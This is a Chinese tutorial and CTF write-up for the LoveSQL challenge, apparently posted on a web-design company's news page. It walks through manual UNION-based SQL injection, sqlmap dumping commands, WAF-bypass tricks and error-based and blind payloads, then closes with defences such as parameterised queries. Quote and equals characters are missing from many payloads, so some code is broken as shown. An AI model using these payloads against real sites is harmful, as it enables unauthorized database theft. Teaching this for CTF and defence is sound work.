ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

从CTF实战拆解SQL注入:联合查询与手工注入全流程详解

从CTF实战拆解SQL注入:联合查询与手工注入全流程详解 1. 从一道CTF题看SQL注入的实战化拆解最近在复盘一些经典的CTF Web题目发现很多朋友对SQL注入的理解还停留在“丢个单引号报错”或者“用万能密码admin or 11”的阶段。一旦遇到稍微有点变化的过滤或者回显方式就不知道从何下手了。今天我们就以一道非常经典的入门题——[极客大挑战 2019]LoveSQL 1作为切入点不单单是复现解题过程更重要的是拆解背后的思路、工具的使用逻辑以及如何将这种解题思维应用到更复杂的实战场景里。这道题本身不难但它几乎涵盖了手工注入从信息探测到最终获取Flag的所有核心环节是一个绝佳的教学案例。无论你是刚接触CTF的新手还是想巩固基础的安全爱好者跟着走一遍你收获的会远不止一个Flag。这道题的目标很明确找到一个叫“flag”的字段。题目环境通常是一个模拟的登录或查询页面背后连接着MariaDB数据库。我们的武器库主要是浏览器、Burp Suite这类抓包工具以及一个清晰的头脑。接下来我不会直接给你Payload而是带你像侦探一样一步步推理、测试、调整最终抵达终点。你会发现SQL注入的本质就是与应用程序进行一场“精心设计的对话”。2. 环境探测与注入点定位一切推理的起点面对一个未知的Web界面我们的第一步永远是观察和试探。对于这道题通常是一个登录框。盲目尝试注入是不可取的我们需要先回答几个关键问题哪里可能存在注入服务器是什么数据库错误信息是否会回显2.1 初步交互与参数测试首先我会在用户名和密码框里输入一些最基础的测试字符比如一个单引号‘。输入后提交观察页面反应。如果页面直接报出包含SQL语法错误的详细信息比如“You have an error in your SQL syntax near ‘’’ at line 1”那太好了这属于“报错注入”的理想情况我们可以直接从错误信息中提取数据。但更常见的情况是页面没有明显的数据库错误回显而是返回一个统一的登录失败提示如“用户名或密码错误”。这并不意味着注入不存在它很可能是一个“基于布尔Boolean的盲注”或“基于时间Time-Based的盲注”。这时我们需要更精细的测试。我会使用Burp Suite拦截登录请求。通常请求体是这样的usernametestpassword123我将username参数的值替换为test再次发送。即使页面没有报错我也会仔细观察HTTP响应的长度、状态码或者页面上的细微提示比如“用户名不存在”和“密码错误”有时是不同的。同时我会测试另一个经典Payloadtest and 11。这个Payload的逻辑是如果注入点存在且未被过滤原SQL语句可能形如SELECT * FROM users WHERE usernametest and 11 AND password...由于‘1’‘1’永远为真如果页面返回了“登录成功”或与输入test时不同的结果那就强烈暗示了注入点的存在。同理可以测试test and 12永远为假观察页面是否因条件为假而返回失败状态。注意在实际操作中许多新手会忽略密码字段。有时注入点可能在password参数。所以我的习惯是轮流测试每个可输入参数。对于这道题经验表明username参数是突破口但养成全面测试的习惯至关重要。2.2 确定数据库类型与注释符确定存在注入点后下一步是识别后端数据库。因为不同数据库MySQL/MariaDB, PostgreSQL, SQL Server, Oracle的语法函数有差异。通过一些特征函数可以判断输入test and sleep(5)--如果页面响应延迟了大约5秒这很可能是MySQL/MariaDBsleep()是MySQL的函数。输入test and substring(‘a’,1,1)‘a’--如果正常也支持MySQLsubstring函数通用但结合其他特征判断。从题目名称和热搜词MariaDB我们已有强烈倾向是MySQL/MariaDB系。对于这类数据库注释符有两种--注意后面有个空格这是单行注释。#也是单行注释。在HTTP请求中#通常会被认为是URL的片段标识符不会被发送到服务器。因此在Burp Suite的Repeater模块中测试时我们需要对#进行URL编码即%23。而--则需要注意末尾的空格在Burp里直接输入--即可或者编码为--%20。我会这样测试usernametest-- password123。这个Payload意图是注释掉username后的所有SQL代码包括密码检查。如果登录成功或返回一个特殊状态那就证实了注入点并且注释符生效。3. 手工注入的核心联合查询UNION攻击流程拆解在确认注入点、数据库类型和注释符有效后我们面临一个典型的有回显但无报错的场景。页面对错误不敏感但会将数据库查询结果的一部分显示在页面上比如登录成功后的欢迎信息或者搜索结果的列表。这时联合查询UNION注入是最直接、最高效的数据获取方式。它的原理是利用UNION操作符将我们精心构造的查询语句的结果追加到原始查询结果之后并让页面显示出来。整个过程就像是在和数据库玩一个“问答游戏”我们的每一个Payload都是一个问题页面的回显就是答案。3.1 第一步判断查询结果的列数ORDER BYUNION操作有个硬性要求前后两个SELECT语句必须拥有相同数量的列且对应列的数据类型要兼容。我们不知道原始查询到底SELECT了几列所以第一步是探测列数。这里使用ORDER BY子句。ORDER BY n表示根据第n列进行排序。如果n超过了实际列数数据库就会报错。我们通过递增n观察页面何时从正常返回变为错误或内容消失就能确定列数。构造Payload如下并在Burp Repeater中依次尝试username order by 1-- username order by 2-- username order by 3-- username order by 4-- ...当尝试到username order by 4--时如果页面返回错误或与order by 3时正常显示的状态明显不同那么原始查询的列数就是3。实操心得ORDER BY判断列数是最可靠的方法之一。有时页面错误不明显需要对比HTTP响应长度。在Burp Suite的Repeater中响应长度的微小变化往往是关键信号。我会同时打开Proxy - HTTP history和Repeater反复对比不同Payload下响应体的长度和内容差异。3.2 第二步寻找可以显示数据的列UNION SELECT知道列数假设为3后我们使用UNION SELECT来测试哪些列的内容会被输出到页面上。因为原始查询可能只使用了其中几列的数据进行展示。构造Payloadusername union select 1,2,3--这里1,2,3是我们填充的占位数据。提交后观察页面。如果注入成功且页面有回显查询结果的功能你可能会在页面的某个位置可能是用户名显示处、列表项等看到数字“1”、“2”或“3”被显示出来。例如如果页面上原本显示用户名的地方变成了“2”那就说明第二列的数据会被输出到前端这是我们后续注入数据的关键出口。如果什么都没显示可能需要尝试将username的值设为空如username union select 1,2,3-- password或者尝试在password参数进行注入因为登录逻辑可能不同。3.3 第三步爆破数据库结构库名、表名、列名找到输出点后假设是第2列我们就可以开始提取信息了。在MySQL/MariaDB中有一个名为information_schema的元数据库它存储了所有其他数据库、表、列的结构信息。这是我们进行“爆破”的字典。1. 获取当前数据库名username union select 1,database(),3--database()函数返回当前查询所使用的数据库名称。执行后输出点第2列应该会显示数据库名比如geek。2. 获取该数据库下的所有表名username union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--information_schema.tables系统表存放所有表的信息。table_schemadatabase()条件限制只查询当前数据库下的表。group_concat(table_name)将查询到的所有表名合并成一个字符串用逗号分隔。这比limit 0,1一个个猜高效得多。 执行后可能会得到类似user,flag,article,...的结果。我们一眼就看到了目标flag表。3. 获取flag表的所有列名username union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_nameflag--information_schema.columns系统表存放所有列的信息。table_nameflag指定查询flag表。 这里需要注意表名‘flag’是字符串在构造Payload时如果直接写单引号可能会被WAF过滤或转义。一个常见的绕过技巧是使用十六进制表示。将flag转换成十六进制0x666c6167。username union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_name0x666c6167--执行后可能会得到列名例如id,flag。3.4 第四步最终获取Flag数据知道了表名(flag)和列名(flag)最后一步就是直接查询数据。username union select 1,flag,3 from flag--或者如果flag表有多列我们可能需要指定列名并考虑使用limit或group_concat。username union select 1,group_concat(flag),3 from flag--执行这个Payload梦寐以求的Flag就应该出现在页面的输出位置了。格式通常类似flag{this_is_a_flag_string}。4. 工具辅助与效率提升当手工遇到复杂情况虽然手工注入能让我们透彻理解原理但在CTF比赛或时间有限的渗透测试中合理使用工具能极大提升效率。最著名的SQL注入工具非sqlmap莫属。但我不建议初学者一上来就依赖工具那样你永远学不会“为什么”。这里介绍如何用sqlmap验证和加速我们手工的过程并理解它的工作逻辑。4.1 使用sqlmap进行自动化探测假设我们已经用手工方法找到了注入点username参数并且知道是MySQL数据库。我们可以用sqlmap来快速获取数据。基本命令如下sqlmap -u http://target-url/login.php --datausernametestpassword123 -p username --dbmsmysql --batch-u: 指定目标URL。--data: 指定POST请求的数据。-p: 指定要测试的参数这里我们已知是username。--dbmsmysql: 指定数据库类型加速检测过程。--batch: 以非交互模式运行所有提示都选择默认。运行后sqlmap会先进行一系列测试确认注入类型布尔盲注、时间盲注、联合查询等。确认注入后我们可以让它直接获取数据# 获取当前数据库名 sqlmap -u http://target-url/login.php --datausernametestpassword123 -p username --dbmsmysql --current-db --batch # 获取当前数据库的所有表 sqlmap -u http://target-url/login.php --datausernametestpassword123 -p username --dbmsmysql -D geek --tables --batch # 获取flag表的所有列 sqlmap -u http://target-url/login.php --datausernametestpassword123 -p username --dbmsmysql -D geek -T flag --columns --batch # 导出flag表的数据 sqlmap -u http://target-url/login.php --datausernametestpassword123 -p username --dbmsmysql -D geek -T flag -C flag --dump --batch4.2 工具与手工的思维结合sqlmap很强大但它不是万能的。在以下情况手工思维至关重要过滤与绕过如果题目过滤了空格、select、union等关键词sqlmap的默认Payload可能失效。你需要先用手工方式测试出可用的绕过技巧比如用/**/代替空格用SeLeCt大小写混淆用union all select等然后通过sqlmap的--tamper参数加载自定义的绕过脚本或者直接手工构造。非常规回显如果数据不是直接显示在HTML里而是藏在JSON响应、HTTP头、或者需要触发某种前端逻辑如弹窗才能看到sqlmap可能无法自动识别。你需要先用手工分析响应确定数据位置然后指导sqlmap使用--string或--not-string等参数来识别真假页面或者直接手工注入。二次注入与复杂逻辑有些注入点存在于数据插入阶段而在另一个页面查询时触发二次注入。sqlmap的自动化流程可能无法完整模拟这种业务逻辑需要人工分析整个数据流。工具是手的延伸而思维是大脑。用工具验证手工思路用手工思维解决工具无法处理的难题这才是正确的姿势。5. 从CTF到实战SQL注入的防御与深度思考解出这道CTF题只是一个开始。真正的价值在于通过这个过程我们理解了攻击者是如何一步步窥探和窃取数据的。反过来这为我们构建更安全的应用程序提供了清晰的指引。5.1 开发者视角如何从根本上防御SQL注入防御的核心原则就一条永远不要将用户输入直接拼接到SQL语句中。所有防御措施都围绕此展开。1. 使用参数化查询预编译语句这是最有效、最根本的防御手段。以PHP的PDO为例// 错误做法拼接字符串 $sql SELECT * FROM users WHERE username . $_POST[username] . AND password . $_POST[password] . ; // 正确做法参数化查询 $stmt $pdo-prepare(SELECT * FROM users WHERE username :username AND password :password); $stmt-execute([username $_POST[username], password $_POST[password]]);在参数化查询中SQL语句的模板带占位符先被发送到数据库进行编译。之后传入的用户数据会被数据库引擎严格视为“数据”而非“代码的一部分”。即使用户输入包含‘、or、--等它们也只会被当作一个普通的字符串值无法改变原SQL语句的结构。2. 严格的输入验证与过滤虽然不能作为主要防御手段但作为辅助措施是必要的。白名单验证对于已知固定范围的数据如性别、状态码只允许特定的值通过。类型强制转换对于数字类型的参数如ID在代码层强制转换为整数intval($_GET[‘id’])。谨慎使用过滤函数如PHP的mysqli_real_escape_string()它只能用于转义字符串中的特殊字符且必须知道数据库的字符集。它容易因忘记使用或使用不当而失效不如参数化查询可靠。3. 最小权限原则为Web应用程序连接数据库的账户分配最小的必要权限。通常一个Web应用只需要SELECT、INSERT、UPDATE、DELETE等基本权限绝对不应该拥有DROP、CREATE TABLE、FILE等高级权限。这样即使发生注入攻击者能造成的破坏也有限。4. 避免详细的错误信息在生产环境中务必关闭数据库的错误回显。自定义统一的错误页面避免将数据库表结构、路径等敏感信息泄露给攻击者。这能有效增加“盲注”的难度。5.2 攻击者视角当遇到防御时如何思考了解防御措施也能让我们在CTF或授权测试中更有效地寻找漏洞。看到参数化查询就放弃不一定。检查是否所有数据库操作都使用了参数化。有时开发者在主要查询中用了但在排序(ORDER BY)、分页(LIMIT)、表名/列名动态拼接时却疏忽了这些地方可能无法使用参数化从而成为突破口。WAFWeb应用防火墙拦截怎么办需要测试WAF的规则。常见绕过技巧包括大小写/双写绕过UnIoN SeLeCtSELSELECTECT。等价替换用代替and用||代替or用like代替。注释符内联/*!select*/在MySQL中是一种特殊的注释里面的代码会被执行。编码/加密十六进制、URL编码、Base64编码等。非常规空格/**/、%0a(换行)、%0d(回车)、%09(制表符)。完全是盲注没有回显转向时间盲注(if(1,sleep(5),0))或布尔盲注通过页面响应时间或状态的差异来逐位推断数据。这个过程虽然缓慢但通过脚本自动化如Python的requests库是可以完成的。6. 举一反三LoveSQL题目的常见变种与扩展掌握了LoveSQL 1的基础流程你可以尝试解决该系列或类似的其他题目它们往往在以下方面增加难度1. 过滤关键词比如[极客大挑战 2019]BabySQL题目可能过滤了or、and、select、union等关键词。你的思路应该是首先用‘测试注入点用‘--测试注释符。然后尝试用‘oorr‘双写绕过、‘||‘逻辑或、‘ anandd ‘来测试被过滤的关键词如何绕过。确定绕过方法后再按部就班地进行order by测列数、union select查数据只是Payload中的关键词需要用绕过形式书写。2. 改变回显位置与方式错误信息回显如果页面直接显示SQL错误可以尝试使用updatexml()或extractvalue()等报错函数进行报错注入。Payload如‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)--数据会直接出现在错误信息中。布尔盲注页面只有“存在”与“不存在”两种状态。你需要构造‘ and ascii(substr(database(),1,1))100--这样的Payload通过二分法逐个字符猜解数据。时间盲注页面状态无变化只能通过响应时间判断。Payload如‘ and if(ascii(substr(database(),1,1))100,sleep(5),0)--如果响应延迟则条件为真。3. 需要多步操作二次注入注入点可能在用户注册时的用户名字段该字段被插入数据库时经过了转义所以当时没有触发漏洞。但当另一个页面如个人主页从数据库读取这个用户名并直接用于查询时漏洞被触发。解决这类问题需要分析整个应用的数据流。4. 结合其他漏洞真正的CTF赛题或实战中SQL注入可能只是入口。你注入获取到的可能不是flag而是一个后台管理员账号密码可能是MD5哈希需要破解。然后用这个账号登录后台在后台功能中寻找文件上传、命令执行等其他漏洞最终拿到服务器上的flag文件。这就是一个简单的“漏洞链”利用。回过头看[极客大挑战 2019]LoveSQL 1就像一本优秀的入门教材它把SQL注入这个庞大的知识体系中最核心、最主干的部分清晰地呈现了出来。从探测、确认到利用联合查询一步步获取数据库信息整个过程逻辑严密一步一个脚印。我建议每一位新手都不要满足于用现成的Payload通关而是真正理解每一个步骤背后的原理为什么用order byunion为什么要求列数相同information_schema是什么当你把这些“为什么”都弄明白了再遇到更复杂的过滤、更隐蔽的回显方式时你才有能力去分析、去绕过、去创造属于自己的Payload。安全技术的修炼正在于这种从“会用”到“懂原理”再到“能应变”的递进之中。
返回列表